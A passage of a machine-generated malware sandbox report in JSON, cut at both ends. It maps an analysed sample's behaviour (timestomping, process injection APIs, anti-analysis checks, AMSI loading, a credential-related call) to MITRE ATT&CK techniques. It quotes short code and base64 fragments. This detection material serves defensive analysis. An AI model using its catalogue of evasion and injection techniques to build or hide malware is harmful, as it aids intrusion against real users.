string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Defense Impairment","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains ability to block user input (API string)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"IcmpSendEcho\" (Indicator: \"IcmpSendEcho\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"$38","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"msiexec.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"msiexec.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$39","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$3a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"ocal $aRet = DllCall('Crypt32.dll', 'bool', 'CryptStringToBinaryA', 'str', $sB64, 'dword', $iLen, 'dword', 1, 'struct*', $tOut, 'dword*', $iLen, 'ptr', 0, 'ptr', 0)\" (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp\")\n Found api reference \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00004872.00000003.168025.03BE0000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00005172.00000003.174592.00B9A000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00005172.00000003.174592.00B9A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"\"audiodg_svc.exe\" called \"CryptStringToBinaryA\" with parameters {\"pszString\": \"OyBTY3JpcHQgQXV0b0l0IFN0YW5kYWxvbmUgLSBWZXJzw6NvIEF0dWFsaXphZGEgY29tIFNpc3RlbWEgZGUgTm90aWZpY2HDp8OjbyBIVFRQUwo7IFRvZGFzIGFzIGNvbnN0YW50ZXMgbmVjZXNzw6FyaWFzIGRlZmluaWRhcyBpbnRlcm5hbWVudGUKOyBDb25zdGFudGVzIGRlIG1lbcOzcmlhCkdsb2JhbCBDb25zdCAkTUVNX0NPTU1JVCA9IDB4\"\n \"cchString\": \"39076\"\n \"dwFlags\": \"1\"\n \"pbBinary\": \"; Script AutoIt Standalone - Vers\"\n \"pcbBinary\": \"7a720000\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"ocal $aRet = DllCall('Crypt32.dll', 'bool', 'CryptStringToBinaryA', 'str', $sB64, 'dword', $iLen, 'dword', 1, 'struct*', $tOut, 'dword*', $iLen, 'ptr', 0, 'ptr', 0)\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004872.00000003.168025.03BE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp, 00000000-00004872.00000003.168025.03BE0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$3b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to encrypt/encode message (API string)\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \",GetNativeSystemInfo,kernel32.dll,\"00:42:30.781\",RX=0,PX=0\" in \"00000000-00004872.00000000.163526.03BE0000.00000004.mdmp, 00000000-00004872.00000001.165447.03BE0000.00000004.mdmp, 00000000-00004872.00000002.167368.03BE0000.00000004.mdmp, 00000000-00004872.00000003.168025.03BE0000.00000004.mdmp\"\n Found system information discovery API: \"GetNativeSystemInfo\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found system information discovery API: \"GetMonitorInfoW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayoutNameW\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"audiodg_svc.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"audiodg_svc.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00004872)\n \"audiodg_svc.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"msiexec.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001420)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"audiodg_svc.exe\" called \"IsWow64Process\" with parameter \"4872\" - (UID: 00000000-00004872)\n \"audiodg_svc.exe\" called \"IsWow64Process\" with parameter \"5172\" - (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"audiodg_svc.exe\" called \"EnumWindows\" with parameter \"18192136\" - (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$3d","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"audiodg_svc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004872)\n \"audiodg_svc.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005172)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3e","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"file/memory contains long string with (Indicator: \"select * from \"; File: \"oxjrstqeoghk.au3\")\n Found string \"SELECT * FROM Win32_ComputerSystem\" (Indicator: \"select * from \"; Source: \"00000000-00005172-00002715-1062106894\")\n Found string \"ocal $oItems = $oWMI.ExecQuery(\"SELECT * FROM Win32_ComputerSystem\")\" (Indicator: \"select * from \"; Source: \"00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp\")\n Found string \"SELECT * FROM Win32_ComputerSystem\" (Indicator: \"select * from \"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"4385712,7508,100,,FindWindowExW,user32.dll,\"00:43:49.218\",RX=0,PX=0\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp\")\n Found reference to API \"9614602,7508,100,,FindWindowExW,user32.dll,\"00:44:18.750\",RX=0,PX=0\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00005172.00000001.170200.00C04000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"audiodg_svc.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"audiodg_svc.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")\n Found reference to API \"32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C7A000.00000004.mdmp, 00000000-00005172.00000003.174592.00C7A000.00000004.mdmp\")\n Found reference to API \"Win32API|Time Functions|GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C7A000.00000004.mdmp, 00000000-00005172.00000002.172121.00C80000.00000004.mdmp, 00000000-00005172.00000003.174592.00C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00004872.00000003.168025.01123000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6ad23c5412d564713306d3e4"}]},{"level":"informative","category":"Environment 